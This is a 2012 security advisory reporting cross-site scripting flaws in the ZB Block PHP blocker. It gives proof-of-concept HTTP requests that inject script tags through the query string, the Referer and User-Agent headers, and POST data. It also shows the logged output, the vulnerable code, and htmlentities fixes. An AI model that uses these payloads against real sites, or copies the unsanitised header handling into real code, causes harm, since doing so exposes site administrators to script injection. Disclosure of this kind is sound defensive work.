Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:27819
HistoryMar 19, 2012 - 12:00 a.m.

Vulnerability Description: XSS-(CROSS SITE SCRIPTING VULNERABILITIES) (ZAPHOD BREEBLEBROX'S BLOCKER A.K.A. ZB BLOCK)

2012-03-1900:00:00
vulners.com
34

Vulnerable Software:
// ZAPHOD BREEBLEBROX'S BLOCKER A.K.A. ZB BLOCK
// VERSION 0.4.9 Final "Jaguar"
0.4.9_Final
Developed by HTTP://WWW.SPAMBOTSECURITY.COM

Severity: Low

Vulnerability Description: XSS-(CROSS SITE SCRIPTING VULNERABILITIES)

Founded by: AkaStep

Description:
ZB Block is distributed under the GNU/GPL Version 2 License.
It's main goal:
Act as "Honeypot" on your site and block intrusions.
For more info:
SPAMBOTSECURITY.COM

Vulnerability Desc:
Due "trust" to HTTP_USER_AGENT and HTTP_REFERER
ZB Block is vulnerable to non-persistent cross site scripting vulnerability.
However it also logs attacks so unsanitized thus variables will be writen to killed_logs.txt
which on "future" may act as Persistent Cross Site Scripting Vulnerability against admin.

Proof of Concept:
====================Triggering Attack Against Site which is protected using ZB Block========================
cmd> GET /myfiles/10/zbblock/hackme.php?id=<script>alert("Is it safe?");</script> HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, /
cmd> Referer: http://microshit.attacks/you?id=&lt;script&gt;alert&#40;&quot;Pwn using Referer");</script>
cmd> User-Agent: <script>alert("Pwn Using user Agent");</script>
cmd> Host: 192.168.0.15
cmd>
hdr> HTTP/1.1 403 FORBIDDEN
hdr> Date: Mon, 05 Mar 2012 13:36:51 GMT
hdr> Server: Apache
hdr> Status: 403 FORBIDDEN
hdr> Warning: 199 192.168.0.15:80 You_are_abusive/hacking/spamming_192.168.0.15
hdr> Abuse: Your connection is not welcome due to: http javascript (wedge end/script start) injection. XSS attack obfuscation. http javascript (wedge end/script start) injection. http javascript (wedge start/script end) injection. http javascript (wedge end/script start) injection. http javascript (wedge start/script end) injection.
hdr> Content-Length: 3890
hdr> Content-Type: text/html
RequestDone Error = 0
StatusCode = 403
================= END OF REQUEST ======================================

Responce:(Take a look it doesn't touches HTTP_REFERER and HTTP_USER_AGENT( and it is same as "original" - without any sanitization)
--------------------------------------------------- SNIPPET GOES -------------------------------------------------------
<strong><font color="#0000FF">Record #:</font></strong> 1<br>
<strong><font color="#0000FF">Time:</font></strong> Mon, 05 Mar 2012 13:36:51 +0000<br>
<strong><font color="#0000FF">Running:</font></strong> 0.4.9_Final<br>
<strong><font color="#0000FF">Host:</font></strong> labmachine.mshome.net<br>
<strong><font color="#0000FF">IP:</font></strong> 192.168.0.1<br>
<strong><font color="#0000FF">Post:</font></strong> <br>
<strong><font color="#0000FF">Query:</font></strong> id=&lt;script&gt;alert(&quot;Is<br>
<strong><font color="#0000FF">Stripped Query:</font></strong> id=&lt;script&gt;alert(&quot;is<br>
<strong><font color="#0000FF">Referer:</font></strong> http://microshit.attacks/you?id=&lt;script&gt;alert&#40;&quot;pwn using referer");</script><br>
<strong><font color="#0000FF">User Agent:</font></strong> <script>alert("Pwn Using user Agent");</script><br>
<strong><font color="#0000FF">Reconstructed URL:</font></strong> http:// 192.168.0.15 /myfiles/10/zbblock/hackme.php?id=&lt;script&gt;alert(&quot;Is<br>
<br>&nbsp;&nbsp;&nbsp;&nbsp;Generated by <a href="http://www.spambotsecurity.com/zbblock.php&quot; >ZB Block 0.4.9_Final</a></p>
</body>
</html>
--------------------------------------------------- END OF SNIPPET -------------------------------------------------------

Print Screen:

http://i009.radikal.ru/1203/71/7d0fd71f5c5d.png

/----------------------------------------------VULNERABLE CODE--------------------------------------------------------------/
//zbblock.php
// LINE NO 455 && 459

if(isset($_SERVER['HTTP_REFERER'])){$fromhost2=@$_SERVER['HTTP_REFERER'];}
$fromhost=strtolower($fromhost2);
$fromhostsws=preg_replace('/\s+/','',$fromhost);
$fromhostsws=preg_replace("/[^\x9\xA\xD\x20-\x7F]/",'',$fromhostsws);
if(isset($_SERVER['HTTP_USER_AGENT'])){$useragent=@$_SERVER['HTTP_USER_AGENT'];}
$lcuseragent=strtolower($useragent);
$lcuseragentsws=preg_replace('/\s+/','',$lcuseragent);
$lcuseragentsws=preg_replace("/[^\x9\xA\xD\x20-\x7F]/",'',$lcuseragentsws);
/------------------------------------- END OF VULNERABLE CODE -------------------------------------------------------/

Defaulty this script writes log file:
filename: killed_log.txt
Exist in: {zbblockWHERE_INSTALLED}/vault/killed_log.txt
Which is not readable from HTTP (because access to that area protected using .htaccess (Deny from all)

Ok,lets see it's content after triggering attack:


cat -n killed_log.txt|less

 1  &lt;?php die&#40;&#39;&#39;&#41;; ?&gt;
 2
 3  #: 1 @: Mon, 05 Mar 2012 13:36:09 +0000 Running: 0.4.9_Final
 4  Host: labmachine.mshome.net
 5  IP: 192.168.0.1
 6  Score: 6
 7  Violation count: 0
 8  Why blocked: http javascript &#40;wedge end/script start&#41; injection. XSS attack obfuscation. http javascript &#40;wedge end/script

start) injection. http javascript (wedge start/script end) injection. http javascript (wedge end/script start) injection. http ja
vascript (wedge start/script end) injection.
9 Query: id=<ScRiPt>AlErT("Not
10 Referer: http://microshit.attacks/you?id=&lt;script&gt;alert&#40;&quot;pwn using referer");</script>
11 User Agent: <script>alert("Pwn Using user Agent");</script>
12 Reconstructed URL: http:// 192.168.0.15 /myfiles/10/zbblock/hackme.php?id=<ScRiPt>AlErT("Not
13
14 #: 1 @: Mon, 05 Mar 2012 13:36:51 +0000 Running: 0.4.9_Final
15 Host: labmachine.mshome.net
16 IP: 192.168.0.1
17 Score: 6
18 Violation count: 1
19 Why blocked: http javascript (wedge end/script start) injection. XSS attack obfuscation. http javascript (wedge end/script
start) injection. http javascript (wedge start/script end) injection. http javascript (wedge end/script start) injection. http ja
vascript (wedge start/script end) injection.
20 Query: id=<script>alert("Is
21 Referer: http://microshit.attacks/you?id=&lt;script&gt;alert&#40;&quot;pwn using referer");</script>
22 User Agent: <script>alert("Pwn Using user Agent");</script>
23 Reconstructed URL: http:// 192.168.0.15 /myfiles/10/zbblock/hackme.php?id=<script>alert("Is
24

As you can see:
10 Referer: http://microshit.attacks/you?id=&lt;script&gt;alert&#40;&quot;pwn using referer");</script>
11 User Agent: <script>alert("Pwn Using user Agent");</script>
21 Referer: http://microshit.attacks/you?id=&lt;script&gt;alert&#40;&quot;pwn using referer");</script>
22 User Agent: <script>alert("Pwn Using user Agent");</script>

Same as original.In future which may cause problems for site administrator.
Can't because .txt file and protected using .htaccess ? :)
This gives to us a bit advantage to catch site admin and automatically exploitate our XSS attack.
Theris a chance admin will read that file using some "reader script" and admin believes that killed_log.txt is safe)
In ex:


<?php

echo '<pre>' .
file_get_contents('./vault/killed_log.txt') . '</pre>';

?>

So, theris a chance to execute our javascript(html) in context of admin's browser.

Fix so simple:
ZB BLOCK Developer(s) should note that HTTP_USER_AGENT AND HTTP_REFERER isn't "trust"-able and may be spoofed
or injected easily.
So htmlentities() or strip_tags() our best friends in this case :)
------------------------------------------------- FIX 1---------------------------------------------------------------------------------------
//zbblock.php
//LINE NO 455
if(isset($_SERVER['HTTP_REFERER'])){$fromhost2=htmlentities(@$_SERVER['HTTP_REFERER']);}
//LINE NO 459
if(isset($_SERVER['HTTP_USER_AGENT'])){$useragent=htmlentities(@$_SERVER['HTTP_USER_AGENT']);}
// END OF

Also here is another non-persistent XSS while detecting POST request intrusion attempt.

--------------------------------------------- POST METHOD--------------------------------------------------------------------------------------
cmd> POST /myfiles/10/zbblock/hackme.php HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, /
cmd> Referer: http://192.168.0.15/myfiles/10/zbblock/hackme.php
cmd> Content-Type: application/x-www-form-urlencoded
cmd> Host: 192.168.0.15
cmd> Content-Length: 58
cmd>
hdr> HTTP/1.1 403 FORBIDDEN
hdr> Date: Mon, 05 Mar 2012 17:53:01 GMT
hdr> Server: Apache
hdr> Status: 403 FORBIDDEN
hdr> Warning: 199 192.168.0.15:80 You_are_abusive/hacking/spamming_192.168.0.15
hdr> Abuse: Your connection is not welcome due to: POST JS POST-058. POST JS POST-059.
hdr> Content-Length: 3548
hdr> Content-Type: text/html
RequestDone Error = 0
StatusCode = 403
POSTDATA: f=<script>alert("Pwned");</script>&fupl=G%F6nd%26%23601%3Br%21
// Take a look our payload is not in urlencoded //

Responce:
----------------------- SNIPPET -------------------------------------------------------------------------------------
<strong><font color="#0000FF">Post:</font></strong> f=<script>alert("Pwned");</script>&fupl=G%F6nd%26%23601%3Br%21<br>

----------------------- END OF SNIPPET -------------------------------------------------------------------------------------


So why this occurs?

Again we are going to look our code:
------------------------------------------ VULNERABLE CODE -------------------------------------------------------------
//zbblock.php
// Line: no: 856
<strong><font color="#0000FF">Post:</font></strong> ' . $rawpost . '<br>
//

//And if we'll look to up line no: 472
$rawpost=file_get_contents("php://input");

//No sanitization again
// I think
/*--------------------------- SINCE POST DATA content is not logging to killed_logs.txt
and it is only for print to client side we can use on line 855

<strong><font color="#0000FF">Post:</font></strong> ' . htmlentities($rawpost) . '<br>

This also applies to line no: 838

$dummy = $ini['e_mail'] . '?subject=Event ID:#' . $zbcounter . ' on ' . $thishost . '&body=' . htmlentities($dummy);

---------------------------------------------------------- EOF --------------------------------------------------------------------------------*/

/AkaStep ^_^

1330959272